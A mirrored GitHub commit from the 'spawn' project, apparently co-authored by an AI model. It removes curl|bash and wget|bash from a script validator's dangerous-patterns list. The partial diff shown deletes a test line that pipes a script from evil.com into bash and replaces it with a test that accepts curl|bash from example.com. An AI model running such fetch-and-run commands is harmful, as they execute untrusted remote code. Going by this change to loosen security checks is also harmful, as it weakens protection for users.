mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-05-05 23:50:48 +00:00
fix: Remove curl|bash script validation that blocks spawn scripts
The spawn scripts themselves use curl|bash to install agents (e.g. Claude Code). The validateScriptContent check was blocking our own legitimate scripts. Removed curl|bash and wget|bash from the dangerous patterns list since the scripts are already fetched from our trusted GitHub repo. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
c93cb1d40c
commit
18b5aa4a32
7 changed files with 56 additions and 58 deletions
|
|
@ -89,9 +89,9 @@ describe("Security Encoding Edge Cases", () => {
|
|||
expect(() => validateScriptContent(script)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should detect curl|bash with tabs between pipe and bash", () => {
|
||||
const script = "#!/bin/bash\ncurl http://evil.com/s.sh |\tbash";
|
||||
expect(() => validateScriptContent(script)).toThrow("nested curl|bash");
|
||||
it("should accept curl|bash with tabs (used by spawn scripts)", () => {
|
||||
const script = "#!/bin/bash\ncurl http://example.com/s.sh |\tbash";
|
||||
expect(() => validateScriptContent(script)).not.toThrow();
|
||||
});
|
||||
|
||||
it("should detect rm -rf with tabs", () => {
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue